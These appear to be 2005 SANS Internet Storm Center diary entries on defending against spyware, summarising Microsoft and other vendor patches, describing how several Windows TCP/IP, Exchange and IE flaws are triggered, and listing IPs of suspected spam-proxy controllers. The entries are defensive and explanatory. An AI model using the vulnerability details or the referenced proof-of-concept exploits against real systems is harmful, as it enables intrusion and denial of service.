An alert reader mentioned the importance of carefully constructing filters for evil sites. From a previous diary, he saw some evil IP addresses that he wanted to block access to for his users. He noticed that all of the evil IP addrs were in the same /16 range, so he just applied a filter for the entire range. Ooops! Turns out that a legitimate large auction site, which will remain nameless for the purposes of this discussion, was also in that range. His users complained when they couldn't access their auctions to sell pez dispensers and such. Moral of the story, "Sometimes good folks reside in bad neighborhoods." In other words, be careful what you filter.



*** Anti-Spyware Solutions based on Infrastructure ***

Today, we solicited ideas for tweaking infrastructure components to thwart the menace of spyware. I'm not talking about the latest anti-spyware products... darned near every vendor has released a specific behavior- or signature-based anti-spyware solution. Instead, we're interested in hearing other non-product-specific solutions. For example, we asked if you have tricked out your web proxy to detect or even stop spyware? How? Have you diddled with your Windows file system perms to stop spyware while still having a usable machine? Have you stumbled upon the ideal Active Directory settings to stop the spyware slaughter? Please don't send solutions like, "I just use this anti-spyware product, and boy am I thrilled." Also, don't send us an answer like, "I use Mac OS X... What's all this spyware fuss about?" or the Mike-Poor-like solution, "First, insert a FreeBSD CD into your drive..." We're interested in infrastructure-related solutions for Windows machines, where the spyware threat is the biggest.



I've summarized and lightly consolidated the responses we got below. We're pretty fully loaded on the issue, so no further input on it for now, please.




*** UPDATE ***



Man, I love Storm Center readers. Within the first hour, we got some really good ideas for spyware prevention and detection, infrastructure-style. Here's a summary of the best stuff so far:



1) James uses a squid proxy for all of his outbound surfers. Then, he runs an anti-virus tool with spyware sigs on the squid cache to catch a whole bunch of nasties on their way in, including a bunch of downloader trojans and redirection exploits. Now, he enforces the proxy settings in the browser using AD for all of his IE users.



2) Mike Larson goes further, trying to move all users to Firefox. He changed the default home page for IE to a warning of the dangers of using it, along with an icon to download Firefox. For those corporate apps that really require IE, he created a custom shortcut that opens IE. Also, to help make sure things stay this way, he config'ed IE to NOT check that it is the default browser.



3) Mike Larson goes still further by setting up his folks as "restricted users". To help make that happen, another reader (who wanted to be anonymous) offers some good ideas:

a) Make sure all users have all of the network printers in their vacinity already installed. Otherwise, they'll complain that they need local admin so they can print to some new-fangled printer in their cubicle.

b) Make sure Flash, ShockWave, and other common or popular required plug-ins are already installed.

c) Make sure the Help Desk has some type of remote desktop capability. This will surely help with the printer issue (a) above, which I've seen burn a bunch of orgs.

d) Don't take the easy way out for older apps by just giving people Power Users or local Admin privs. Instead, run cacls.exe and see what is really required. It's better to do this work proactively rather than reactively responding to a bunch of spyware.



4) Aaron Hanson cites the usefulness of a DNS blackhole for common spyware domain names. You can resolve requests for some of the worst offenders to a website of your own hosting a little 1x1 gif file, or some indication to your users about how much you love them (I added that twist, not Aaron). For more info on this stellar idea, check out http://www.bleedingsnort.com/forum/viewtopic.php?forum=11&showtopic=98 , where Aaron and a bunch of other folks dialogue about how to make this manageable.



**NEW: David Glosser sent a nice follow-up stressing how carefully the "Black Hole DNS Spyware Project" is to only include domains actually associated with spwyare and malware. They don't want to include ad servers in the list, since sometimes they aren't appropriate to block. What's more, updates to this blackhole list are at http://www.bleedingsnort.com/forum/viewtopic.php?forum=11&showtopic=774 . Thanks a lot, guys!



5) Steve McDougald mentioned his use of the open source tools like nmap, grep, and perl to locate systems on the network. Then, he uses pslist to see if any known spyware processes are running on the boxes. If so, he uses pskill to terminate them. He's even got a MySQL database to keep a list of discovered machines, and actions his scripts have taken on them.




*** UPDATE UPDATE ***



A couple of more interesting ideas have come up:



6) Matt Jonkman points out that much spyware has its own user-agent type for HTTP, or modifies the existing user-agent type of IE. That's a great point. He directed us to the bleeding-snort work in creating a list of user-agent types associated with spyware specimens, suitable for filtering at proxies or creating IDS sigs for. Check out http://www.bleedingsnort.com/article.php?story=20050303190103553 . I've heard of the user-agent concept before, but wasn't aware of the good work that's going on with it at bleeding snort by Chris Taylor and Matt Jonkman. Good stuff, gents!



7) Another anonymous reader mentioned his plan to have all of his users run Firefox as their default browser, configured to use one gateway going out. Then, if a user has a specific business need for IE (such as updating Windows or running a specific app), he directs all installed IE browsers to another, separate gateway. On this gateway, he severely limits outbound traffic to a known whitelist of sites with a defined business need. In essence, he's bifurcating his network, into a rather open Firefox arena, along with a carefully guarded IE fortress.




*** BUT WAIT, THERE'S MORE ***



A few other nifty ideas have come in.



8) An anonymous reader tells us of the success he's had with his commercial IPS tool in blocking spyware. It's got, according to him, "Filters for herds of spyware.. and so far ZERO blocks of legit traffic." Nice use of IPS technology.



9) Speaking of IPS (and IDS) stuff, Matt Jonkman also alerts us to the Bleeding Snort's Bleeding Malware ruleset, over at http://www.bleedingsnort.com/bleeding-malware.rules . So, in the end, the Bleeding Snort guys have a three-pronged approach: The DNS Blackhole (mentioned in point number 4 above), the User-Agent blocking (in point number 6), and the Bleeding Malware ruleset (mentioned here in point number 9).



10) A related approach to the DNS issue is to create a hosts file on each system that sends requests for spyware to some place else. Both Ramu and an anonymous reader have suggested this, a solid approach if you can push hosts files updates to your end systems. The anonymous gent points out the hosts list at www.someonewhocares.org/hosts , which is conveniently named, "how to make the internet not suck (as much)". What a great name that would be for a book! You should look at the list, which gets rid of all kinds of nasty items by redirecting name lookups to 127.0.0.1, including various malware, spyware, and other evil stuff.



**NEW: Paul Daniels mentioned that some spyware attacks the hosts file, fixing 127.0.0.1 settings so the spyware can resolve back to its owners. That's why this approach is best used in conjunction with a DNS blackhole and other items in this list.



11) Not all issues are technical ones, of course. Thus, Richard mentions the usefulness of having a good policy restricting personal Internet usage. Policy is a great place to start, but only when backed up by enforcement (see items 1-10 above) and education.



12) Which brings us to the next point, from Charles Hamby. He's got a user training program to tell them about spyware and how to avoid it.



13) Charles also uses a custom startup script to look for the most common spyware files and folders, as well as P2P apps. He runs it domain-wide.



14) Another approach mentioned by Richard (the gent from item number 11, in case you are keeping score) is about disk imaging. That is, tell all users to keep their personal files on a server, and reset all of their operating systems every night. I've seen this done in a few very very large organizations, with great results. Sure, users moan about losing their custom wall-paper with their children and favorite sports teams on them, but they get used to it pretty quickly. You could even give them a single folder to store their stuff locally, if you are being generous. But, set a backup tool to blow away everything else at the end of the day.


**NEW: An alert reader has pointed out the importance of using an image that is clean, with cleared caches, temporary files, and such. That's a great point. I've seen some people (whom I won't name) who have used images with some unfortunate left over stuff in it. Build specific images to be restored from; don't use some existing system that you think is "clean enough".



15) Another anonymous dude who has some very standardized systems has written a perl script that merely counts the number of reg keys defined under
HKLM/software/microsoft/windows/currentversion/explorer/browser help objects
HKCU/software/microsoft/windows/currentversion/run
and HKLM/software/microsoft/windows/currentversion/run.
If the number of keys under there exceeds a threshold he's defined, he investigates.

**NEW: Turns out the Bleeding Snort guys have a perl script that does similar scanning of a Windows domain for Browser Helper Objects, available at http://www.bleedingsnort.com/filemgmt/singlefile.php?lid=7 . I tell ya, is there nothing these Bleeding Snort guys don't do. They're into everything, and we're all grateful for it. But, according to David Glosser, who tipped me off to that perl script project, they are looking for beta testers for this concept. Stand up and volunteer!



*** A FINAL BATCH OF IDEAS FOR NOW ***



Here are a final couple of ideas... some really really good ones.



16) Instead of monitoring user-agents looking for specific changes to known bad stuff (a la item number 6 above), Mike Pomraning had a great plan. He records a list of user-agents and client IP addresses (he does this using a custom passive user-agent header recorder, written with pynids, a python wrapper around libnids on top of libpcap). In fact, Mike is the author of pynids! Then, check this out... you are paying attention, right?!? He then logs all unique pairings of user-agent and IP addresses when they are first seen. He can then spot strange new user-agents quite easily, getting a list of systems with probable spyware (or other weird stuff like unusual media players, new anti-virus updaters, etc.) on a regular basis. You could implement a similar strategy with a web proxy like squid, to create a highly useful variation to item number 6 above. Mike points out that he wrote pynids for this very reason.



17) An anonymous reader mentions that he has set a GPO to hide IE from all of his users, forcing them to run Firefox instead. Consider the irony of that, my friends. Consider this an interesting variation to number 2 above.



18) Many people have mentioned their use of GPO to insert known evil sites into the Restricted Sites zone of IE. That's what this zone is all about, and such a solution is very reasonable.



19) And last, but not least, another anonymous reader uses Active Directory's software restriction policy to define specific MD5 hashes and paths for various forms of malware. You can read about this AD option for WinXP and 2003 at http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/rstrplcy.mspx .





Feel free to use these ideas from these awesome folks.




I want to thank everyone for their really solid input today on using infrastructure components to thwart spyware. I felt like I was in a brainstorming session with 20,000 of my closest friends. Your ideas and enthusiasm are certainly appreciated. The more we can spread this info among the good guys, the better off we'll all be. Thanks again to everyone who submitted input. I tried to respond to all of you, but missed a couple. I'll finish up those responses later tonight and tomorrow morning.




That's all for now...



--Ed Skoudis


Sr. Security Consultant and Co-Founder


Intelguardians


ed (at) intelguardians.com

0 Comments

Published: 2005-04-17

Firefox patches; MS DoSed my Grandma; MS05-019 Exploit published

Recent Firefox patches


Firefox 1.0.3 was released Friday (well, that's when I installed it.) On Saturday, two proof-of-concept examples were released. The little green update button in Firefox is your friend.

Microsoft DoSed my Grandma!


Everybody feels a little pain on Microsoft Tuesday: the Security Intelligence folks rushing to release targeted advisories, the System Administrators struggling with the if/when to patch problem, the Security Researchers rushing to publish Proof-of-concept code, the Snort-heads rushing to develop signatures, and plenty of others that I'm missing. But let's not forget the poor dial-up users attempting to keep up with the security arms-race. I called to check in on my "grandma" this week and she complained that all of a sudden should couldn't surf the web or download her email. "Everything is timing out, or server's aren't available," was the reported symptom. "Am I infected again?" she worried aloud. It turned out to be her machine pulling down the patches. I told her to leave it logged in while she's watching her television programs and it would all work out. Take two patches and call me in the morning.

MS05-019 Proof of concept released


Numerous intelligence services are reporting (and in some cases publishing) proof of concept code for MS05-019. MS05-019 is the TCP/IP stack issue with ICMP. On other platforms, it can result in a Denial of Service. On Microsoft, it is reported to also allow execution of code. Fortunately, the Proof of concept is only a Denial of Service.

---------------------------------------------------------------------------

Kevin Liston

kliston at isc dot sans dot org

0 Comments

Published: 2005-04-16

Apple's latest release to OS X; phpBB posts new release

New releases from a couple of vendors, otherwise a relatively quiet day.

Apple's latest release delivers security fixes



With the recent release of Mac OS X v10.3.9, and Mac OS X v10.3.9 Server, Apple has addressed several security vulnerabilities. The vulnerabilities, CVE ID#'s CAN-2005-0969 thru CAN-2005-0976, address both kernel and browser vulnerabilities.


Details of the recent release, along with specific vulnerability detals, can be found at
http://docs.info.apple.com/article.html?artnum=61798



The updates can be found at
http://www.apple.com/support/downloads/

phpBB Group posts release 2.0.14



http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=281963



The "We know we are (not) furry" release includes both bugfixes and non-critical security issues. The changelog, shown below, is from the phpbb website.

-----

-Hardened author and keyword search a bit to not allow very server intensive searches

-Fixed full path disclosure in bad word parsing

-Resetting complete userdata array in session code if authentication fails

-Fixed bug in moderator control panel where certain parameters could lead to an "error creating new session" sql error

-Fixed bug in session code where empty page ids could lead to an "error creating new session" sql error

-Fixed html handling in signatures if html is turned off globally

-Fixed install.php problem with PHP5 register_long_arrays option turned off

-Fixed potential issues with styling system

-Added correct class to login_body template file

-Removed file db/oracle.php from package

-Removed version number from message body page in /admin (if user is not an admin) - mikelbeck

-Fixed case-sensitivity issues in postgres7.php - R45
-----





Tony Carothers

ISS, Inc.

Handler on Duty

tony dot carothers at gmail dot com

0 Comments

Published: 2005-04-15

Tax Day and recovering from San Diego; Oracle patches; IRC spam worm

For those of our readers in the US, I trust you got your taxes in on time. :) I personally wanted to say I enjoyed meeting so many of our loyal readers at the BOF in San Diego. I always seem to need a vacation to recover from the conferences, so I'm working on the recovery now. Also, as you may remember <A HREF="http://isc.sans.org/diary.php?date=2005-03-19">last month</A> we told you that the daughter of one of your handlers had emergency surgery. I'm happy to report that she returned to school this week and is doing very well. Unfortunately, her father had his own little medical adventure that included a blood-borne infection. Fortunately, he, too, is on the mend now (after massive doses of antibiotics).

Oracle patches


Perhaps lost in the Cisco/Juniper and Microsoft patch announcements on Tuesday, Oracle also did their quarterly patch release. Some of the bugs look like they could be quite serious. See http://www.oracle.com/technology/deploy/security/pdf/cpuapr2005.pdf

IRC spam worm


We got reports today from several readers about some fast-spreading malware that was spreading via IRC and sending out spam e-mail. It looks like the A/V vendors have finally caught up since they all seem to be catching it now, but as usual this only does some good when the signatures are current. :/ They are identifying it variously as FunLove or Parite.



------------------------

Jim Clausing, jclausing_At_isc_dot_sans_dot_org

0 Comments

Published: 2005-04-13

With Every Patch Tuesday there is a Black Wednesday, Juniper Update, COAST (adware-spyware) is toast, Virus Spreading through MSN?, Comcast downtime

With Every Patch Tuesday there is a Black Wednesday



With all the patches for MS yesterday, several new proof-of-concepts and exploit codes were published (they're not just for Microsoft anymore).
<Br>

MS05-16 - Windows Shell Vulnerability



Details: and



MS05-17 - Message Queueing Vulnerability



Details:



Oracle Buffer Overflows



which is patchable.



which is not patchable as of right now.

Debugger Exploits



and for you Visual C++, OllyDbg, WinDbg users.
<Br>

is so you Linux-based malware analysts don't feel left out from the fun.



These exploits have been brought to you be the number 0 and the letters w and n.



Juniper Update



009
(login required)
<Br>

Juniper has updated their notification to state that they do not user PMTUD for BGP sessions. Therefore, if you can filter or disable SQuench you may not have an ICMP BGP vulnerability.



COAST (adware-spware) is toast



The Consortium Of Anti-Spyware Technology vendors (COAST) has ceased operations and their website will go away on Tax Day (April 15th). No explanation is given.



Virus Spreading through MSN?



Messages will refer you to a URL similar to http://www.reallybadpeople.fakeTLD/gallery/pictures.php?email=targethost@isp.com (not a real URL) that will then download some malware to your machine and then proceed to propogate its funness. This just came in and haven't had the chance to reverse engineer it to see more precisely what it does, but its standard fare. Download bad file, trick user into running bad file, "Dude, you're getting pwn3d!".



Comcast Downtime



We've had several reports today at various times that Comcast was having troubles. Turns out they were.



From there:

(Connection to the Internet is currently unavailable. Our technicians are aware of the situation and are working to resolve the issue. This outage was logged at : 4/13/2005 6:47:00 PM EDT.)



===========================

John Bambenek

bambenek - at - gmail.com

http://decision.csl.uiuc.edu/~bambenek
Published: 2005-04-12

Security Updates from Microsoft; Multiple Vendors - ICMP Affecting TCP Sessions

Security Updates from Microsoft



As Microsoft pre-announced in the recent notice, the company released several security updates today, affecting Microsoft Windows, Office, Exchange, and MSN Messenger software. Microsoft classified five of these updates as "Critical" and three as "Important." Please note that a proof-of-concept exploit for at least one of these vulnerabilities (MS05-020) is already publicly available.



You can find general information about today's patches at the following URL:

http://www.microsoft.com/technet/security/bulletin/ms05-apr.mspx



Our team compiled the following technical summary of today's patch cluster. This was written by several people working in parallel, so please excuse the differences in style across the segments.

Bulletin   Severity   Impact                  Supercedes
MS05-016 Important Remote Code Execution MS05-008
MS05-017 Important Remote Code Execution N/A
MS05-018 Important Elevation of Privilege See Below***
MS05-019 Critical Remote Code Execution N/A
MS05-020 Critical Remote Code Execution MS05-014 (Exploit available)
MS05-021 Critical Remote Code Execution MS04-035 (Exchange W2K only)
MS05-022 Critical Remote Code Execution MS05-009
MS05-023 Critical Remote Code Execution MS03-050

***MS05-018 Supercedes the following:
Bulletin ID Windows 2000 XP SP1 XP SP 2 Windows Server 2003
MS03-013 Not Replaced Replaced N/A N/A
MS03-045 Replaced Not Replaced N/A Not Replaced
MS04-032 Not Replaced Not Replaced N/A Replaced
MS05-002 Replaced Replaced N/A Not Replaced

In addition to releasing new patches, Microsoft updated three of its previously-published security bulletins today, and a released a new version of its . These updates are described below as well.



We are using CVE numbers when referring to vulnerabilities in this document. Because the vulnerabilities are relatively recent, most of the CVE links lead to documents that don't currently provide any details. We've included these links for future cross-referencing purposes.

"Critical" Vulnerabilities



- Vulnerabilities in TCP/IP Could Allow Remote Code Execution and Denial of Service. This patch addresses several vulnerabilities in the implementation of the TCP/IP stack on Windows:



* IP Validation Vulnerability (
) - "Incomplete validation of IP Network Packets" is how Microsoft describes this vulnerability. The end result could be remote execution of code.

* ICMP Connection Reset Vulnerability (
) - A specially crafted ICMP packet could allow the attacker to reset existing TCP connections. This vulnerability does not allow for escalation of privileges.

* ICMP Path MTU Vulnerability (
) - A vulnerability exists in the Path Maximum Transmission Unit (PMTU) discovery process. The specially crafted packet could all an attacker to modify the MTU for all connections on a system. Setting the MTU to a very small number for have devastating effects creating a DoS for that system. No escalation of privileges or rights is gained by this exploit.

* TCP Connection Reset Vulnerability (
) - A specially crafted TCP packet could allow the attacker to reset existing TCP
connections. This vulnerability does not allow for escalation of privileges.

* Spoofed Connection Request Vulnerability (
) - This vulnerability describes the LAND attack where a specially crafted SYN Packet with the source IP and port being the same as the destination IP and port causes the system the think the packet came from itself and eat up the CPU time resulting in a DoS.



For more information about this vulnerability and the associated patch, see
.



Vulnerable: Windows 2000 Service Pack 3 and 4; Windows XP Service Pack 1 and 2; Windows XP 64-Bit Edition Service Pack 1 (Itanium); Windows XP 64-Bit Edition Version 2003 (Itanium); Windows Server 2003; Windows Server 2003 for Itanium-based systems; and Windows 98, 98SE, and ME.



Special Note: In addition to the vulnerabilities listed below and their fixes, this patch also makes changes to the following: The default TCPWindowSize registry value has been changed on some operating systems (see
). A new MaxIcmpHostRoutes registry value has also been introduced to control ICMP Path MTU related behavior (see ).



- Cumulative Security Update for Internet Explorer. This aggregate patch addresses several vulnerabilities in Internet Explorer that could lead to remote code execution:



* DHTML Object Memory Corruption Vulnerability (
)

* URL Parsing Memory Corruption Vulnerability (
)

* Content Advisor Memory Corruption Vulnerability (
)



Special note: A proof-of-concept exploit for this vulnerability is already publicly available from FrSIRT. The availability of the exploit is likely to increase the severity of this patch for most organizations.



Vulnerable: Internet Explorer 5.01 Service Pack 3 on Windows 2000 Service Pack 3; Internet Explorer 5.01 Service Pack 4 on Windows 2000 Service Pack 4; Internet Explorer 5.5 Service Pack 2 on Windows ME; Internet Explorer 6 Service Pack 1 on Windows 2000 Service Pack 3 and 4; Internet Explorer 6 Service Pack 1 on Windows XP Service Pack 1; Internet Explorer 6 Service Pack 1 on Windows 98, 98SE, and ME; Internet Explorer 6 Service Pack 1 on Windows XP 64-Bit Edition Service Pack 1 (Itanium); Internet Explorer 6 on Windows Server 2003; and Internet Explorer 6 on Microsoft Windows Server 2003 for Itanium-based systems and Windows XP 64-Bit Edition Version 2003 (Itanium).



For more information about this vulnerability and the associated patch, see
.



- Vulnerability in Exchange Server Could Allow Remote Code Execution. This patch addresses the following buffer overflow in the SMTP service:



* Exchange Server Vulnerability (
) - The
service fails to handle SMTP extended verb requests. On Exchange 2000, if an attacker connects to an SMTP port (unauthenticated users will work) and issues a specially crafted extended verb request, this would allow an attacker to run the code of their choice as the SMTP service runs as Local System. On Exchange 2003, it's a little more difficult and requires the attacker to connect to the Exchange server with the authority of another Exchange server of that organization and then they can issue the same specially crafted extended verb request. Exchange 2003 requires the user authenticating to authenticate as an account in Exchange Enterprise Servers or Exchange Domain Servers groups.



Vulnerable: Microsoft Exchange 2000 Server Service Pack 3; Microsoft Exchange Server 2003; and Microsoft Exchange Server 2003 Service Pack 1.



For more information about this vulnerability and the associated patch, see
.



- Vulnerability in MSN Messenger Could Lead to Remote Code Execution. This patch addresses a buffer overflow condition in the parsing of GIF images by MSN Messenger, which may result in remote exploitation:



* MSN Messenger Vulnerability (
)



Vulnerable: MSN Messenger 6.2 and 7.0 beta. MSN Messenger 4.7 and 5.0 are not listed, but may be presumed vulnerable. Not Vulnerable: MSN Messenger 7.0. Unknown: Windows Messenger. Mitigations: Don't accept IMs from people you don't know.



Special Note: This bulletin is listed as an update to the previously-published
advisory, and appears to be related to the same sort of problems in libpng that were discussed in MS05-009; however, this is a problem with the parsing of GIF images instead of TIFF and PNG. Although this bulletin is listed as an update to MS05-009, it does not supercede MS05-009.



For more information about this vulnerability and the associated patch, see
.



- Vulnerabilities in Microsoft Word May Lead to Remote Code Execution. This patch addresses several vulnerabilities that could result in remote code execution and privilege elevation:



* Buffer Overrun in Microsoft Word (
) - An attacker can cause a DoS condition and, potentially, could execute arbitrary code by crafting contents of a .doc file.

* Buffer Overrun in Microsoft Word (
)<br


Vulnerable: Microsoft Word 2000 and 2002; Microsoft Office Word 2003; Microsoft Works Suite 2001, 2002, 2003, and 2004.



For more information about this vulnerability and the associated patch, see
.

"Important" Vulnerabilities



- Vulnerability in Windows Shell that Could Allow Remote Code Execution. This patch addresses a vulnerability that seems to be tied to the way Windows Shell processes .hta files:



* Windows Shell Vulnerability (
).



Vulnerable: Windows 2000 Service Pack 3 and 4; Windows XP Service Pack 1 and 2; Windows XP 64-Bit Edition Service Pack 1 (Itanium); Windows XP 64-Bit Edition Version 2003 (Itanium); Windows Server 2003; Windows Server 2003 for Itanium-based systems; and Windows 98, 98SE, and ME.



For more information about this vulnerability and the associated patch, see
.



- Vulnerability in Message Queuing Could Allow Code Execution. This patch addresses the following vulnerability:



* Message Queuing Vulnerability (
.



Vulnerable: Windows 2000 Service Pack 3 and 4; Windows XP Service Pack 1; Windows XP 64-Bit Edition Service Pack 1 (Itanium); and Windows 98 and 98SE.



For more information about this vulnerability and the associated patch, see
.



- Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege and Denial of Service. This patch addresses several vulnerabilities:



* Font Vulnerability (
) - "A privilege elevation vulnerability exists in the way that Windows process certain fonts."

* Windows Kernel Vulnerability (
) - Could lead to privilege elevation.

* Object Management Vulnerability (
) - "A denial of service vulnerability exists that could allow an attacker to send a specially crafted request locally to" affected operating systems.

* CSRSS Vulnerability (
) - Could lead to privilege elevation.



Vulnerable: Windows 2000 Service Pack 3 and 4; Windows XP Service Pack 1 and 2; Windows XP 64-Bit Edition Service Pack 1 (Itanium); Windows XP 64-Bit Edition Version 2003 (Itanium); Windows Server 2003; Windows Server 2003 for Itanium-based Systems; and Windows 98, 98SE, and ME.


For more information about this vulnerability and the associated patch, see
.

Updated Microsoft Security Bulletins and Software



In addition to addressing the vulnerabilities described above, Microsoft updated three previously-published security bulletins:
, and
. Additionally, Microsoft released an updated version of its today; the program now recognizes Hacker Defender, Mimail, and Rbot malware specimen families.



The update to the
advisory (Vulnerability in Cursor and Icon Format Handling Could Allow Remote Code Execution) is relevant to
those who are applying the patch to Windows 98, 98SE, and ME; users of these platforms may need to re-apply the patch.



The update to the
advisory (Vulnerability in PNG Processing Could Allow Remote Code Execution) reflects the availability of an updated version of Microsoft Windows Messenger version 4.7.0.2009 for Windows XP Service Pack 1.



The update to the
advisory (Vulnerability in the License Logging Service Could Allow Code Execution) revises the "Mitigating Factors" section of the write-up to reflect new findings regarding Windows 2000 Server Service Pack 4 and points out the existence of the , which is relevant to users running Windows 2000 Server Service Pack 4.

Multiple Vendors Affected: ICMP Packets Causing DoS to TCP Sessions



Advisories published today by NISCC and other organizations document vulnerabilities in several vendors' implementations of the networking stack that may result in denial of service (DoS) attacks against the affected systems or devices. The vulnerabilities allow attackers to use crafted ICMP packets to perform a number of DoS attacks against TCP-based sessions. According to the Cisco advisory, "[s]uccessful attacks may cause connection resets or reduction of throughput in existing connections."



Microsoft's security bulletin
and the associated patch addresses this problem. (It also corrects other, seemingly unrelated vulnerabilities.)



The Cisco advisory on the topic, which outlines what Cisco products are vulnerable and clarifies how to address the problem, is available at:

http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml



The Juniper advisory that addresses these problems is available at the following URL (registration required):

https://www.juniper.net/alerts/viewalert.jsp?txtAlertNumber=PSN-2004-09-009



The NISCC advisory, which thoroughly documents this issue, is available at:

http://www.niscc.gov.uk/niscc/docs/al-20050412-00308.html



The vulnerability is explained in the IETF draft, authored by Fernando Gont and titled "ICMP attacks against TCP" at:

http://www.ietf.org/internet-drafts/draft-gont-tcpm-icmp-attacks-03.txt



Many thanks to all the handlers who contributed to the creation of today's write-up!



Lenny Zeltser

ISC Handler of the Day

http://www.zeltser.com

0 Comments

Published: 2005-04-11

Microsoft XP SP2 blocker tool expiration ; Microsoft JetDB Engine DB File Buffer Overflow ; (Unintentional) DNS Cache poisoning ; Are you a spambot?

Microsoft Windows XP SP2 Blocker Tool Expires on April 12th


The Automatic-Download of Microsoft XP Service Pack 2 may soon happen on your network if your organization has opted out of the original update and does not maintain their own SMS or SUS servers. Read the following articles to make sure you're aware of what this update might mean for your organization.

The
There has been some light speculation that smaller organizations not running centralized patch management infrastructure such as an SMS or SUS server, and Microsoft XP clients running with default Auto-Update (AU) settings in place which will prompt the downloading of updates including SP2 and then require user involvement might cause some degree of network congestion for organizations having limited network bandwidth.

Microsoft JetDB Engine File DB Buffer Overflow vulnerability


The <A href="http://www.frsirt.com/">French Security Incident Response Team (Frsirt)</A> reported a buffer overflow vulnerability in the Microsoft JetDB Engine, and includes <A href="http://www.frsirt.com/exploits/20050411.msjet.c.php">proof of concept code.</A>
While it is always recommended that you never run executable attachments from email, we feel unfortunately confident that attacks exploiting this vulnerability will likely have some degree of success.

(Unintentional) DNS Cache poisoning


*CORRECTION* Joe Stewart, Sr. Security Researcher with <A HREF="http://www.lurhq.com/">lurhq.com</A> shared with us today (2005-04-11) some historical evidence of Internet Service Providers that were initially thought to be taking the easy route in managing their DNS infrastructure and making their Nameservers authoritative for all .com domains effectively reducing the provider's configuration management requirements. However, in DNS environments that do serve recursive DNS queries for any size client base this could create a potentially negative internet experience for resolver clients due to the resulting incorrect, empty or otherwise unexpected DNS query responses.


Our followup on several specific issues that are unrelated to recent malicious DNS poisoning attacks determined that the provider in question had specifically configured their DNS servers in this way, that is acting as authoritative for .com domains, to prevent arbitrary bandwidth utilization by non-authorized clients performing recursive queries through the service provider. This had the unfortunate side effect of poisoning the DNS cache of any improperly configured Microsoft DNS servers that attempted recursive DNS queries through this type of DNS hosting configuration.

Gentle reminder

If you are any form of service provider use only upstream Nameservers for which you are authorized to do so, and if running Microsoft DNS make sure to apply the security best practices identified in the <A HREF="http://isc.sans.org/diary.php?date=2005-04-07">ISC SANS diary on April 7th 2005</A>, or go direct to the <A HREF="http://support.microsoft.com/default.aspx?scid=kb;en-us;241352">Microsoft FAQ on preventing DNS cache pollution</A>.

Is your computer a spambot?


Due to ongoing research and mitigation strategies for hosts identified as Spam controllers, the hosting arrangements of spammers leveraging proxy backdoors including the Proxy-Piky, Backdoor.Ranky, Mitglieder and other potentially as of yet undetermined malware variants are now being tracked.
* Is your machine directly connected to the internet?

* Is your machine potentially unprotected by either Firewall or Anti-Virus software?

* Does your machine run unusually slow?

* Have you had ISP's terminate your service due to Terms of Service or Acceptable Usage Policy breaches that you couldn't explain?
Please check to see if your computer has established connections to any of the IP addresses in the following list. If you do have connections to any of the following host IP's, you may be infected with malicious code that enables your machine to be used as a proxy for unfettered abuse by a miscreant causing the redirection of focus implying that you might be the bad guy.
*** Disclaimer ***

*** A lack of connectivity to any of the following IPs does not rule out all forms of abuse against your computer.
701 | 63.82.96.42 | ALTERNET-AS - UUNET Technologi

701 | 63.82.96.43 | ALTERNET-AS - UUNET Technologi

701 | 63.82.96.44 | ALTERNET-AS - UUNET Technologi

701 | 63.82.96.60 | ALTERNET-AS - UUNET Technologi

701 | 69.67.64.11 | ALTERNET-AS - UUNET Technologi

701 | 69.67.64.12 | ALTERNET-AS - UUNET Technologi

701 | 69.67.64.14 | ALTERNET-AS - UUNET Technologi

701 | 69.67.64.46 | ALTERNET-AS - UUNET Technologi

2828 | 71.4.220.180 | XO-AS15 - XO Communications

2828 | 71.4.220.184 | XO-AS15 - XO Communications

2828 | 71.4.220.240 | XO-AS15 - XO Communications

2828 | 71.4.220.68 | XO-AS15 - XO Communications

2828 | 71.4.220.83 | XO-AS15 - XO Communications

2828 | 71.4.220.86 | XO-AS15 - XO Communications

2828 | 71.4.220.88 | XO-AS15 - XO Communications

2914 | 130.94.135.162 | VERIO - Verio, Inc.

2914 | 130.94.135.168 | VERIO - Verio, Inc.

2914 | 130.94.135.233 | VERIO - Verio, Inc.

2914 | 130.94.135.31 | VERIO - Verio, Inc.

2914 | 168.143.118.174 | VERIO - Verio, Inc.

2914 | 168.143.118.17 | VERIO - Verio, Inc.

2914 | 168.143.118.247 | VERIO - Verio, Inc.

2914 | 168.143.121.5 | VERIO - Verio, Inc.

2914 | 198.65.161.138 | VERIO - Verio, Inc.

2914 | 198.65.163.106 | VERIO - Verio, Inc.

2914 | 198.65.163.110 | VERIO - Verio, Inc.

2914 | 198.65.163.112 | VERIO - Verio, Inc.

2914 | 198.65.163.113 | VERIO - Verio, Inc.

3064 | 207.234.185.38 | AFFINITY-FTL - Affinity Intern

3561 | 205.138.160.156 | SAVVIS - Savvis

3561 | 72.21.40.114 | SAVVIS - Savvis

3561 | 72.21.50.162 | SAVVIS - Savvis

3561 | 72.36.133.58 | SAVVIS - Savvis

3561 | 72.36.138.146 | SAVVIS - Savvis

3561 | 72.36.138.154 | SAVVIS - Savvis

3561 | 72.36.138.202 | SAVVIS - Savvis

4766 | 218.152.181.40 | KIXS-AS-KR Korea Telecom

4766 | 218.152.186.111 | KIXS-AS-KR Korea Telecom

4766 | 218.152.186.112 | KIXS-AS-KR Korea Telecom

4766 | 218.152.186.76 | KIXS-AS-KR Korea Telecom

4766 | 218.152.186.88 | KIXS-AS-KR Korea Telecom

4766 | 218.152.186.91 | KIXS-AS-KR Korea Telecom

4766 | 218.152.186.93 | KIXS-AS-KR Korea Telecom

4812 | 218.78.209.66 | CHINANET-SH-AP China Telecom (

4812 | 218.78.209.82 | CHINANET-SH-AP China Telecom (

6079 | 64.201.106.158 | RCN-AS - RCN Corporation

6079 | 64.201.106.226 | RCN-AS - RCN Corporation

6517 | 66.227.65.141 | YIPESCOM - Yipes Communication

6517 | 66.227.67.161 | YIPESCOM - Yipes Communication

6724 | 81.169.162.35 | STRATO Strato AG

6939 | 216.218.220.219 | HURRICANE - Hurricane Electric

6939 | 216.218.220.220 | HURRICANE - Hurricane Electric

6939 | 216.218.220.221 | HURRICANE - Hurricane Electric

6939 | 216.218.220.222 | HURRICANE - Hurricane Electric

6939 | 64.62.141.203 | HURRICANE - Hurricane Electric

6939 | 64.62.141.204 | HURRICANE - Hurricane Electric

6939 | 64.62.141.205 | HURRICANE - Hurricane Electric

6939 | 64.62.141.206 | HURRICANE - Hurricane Electric

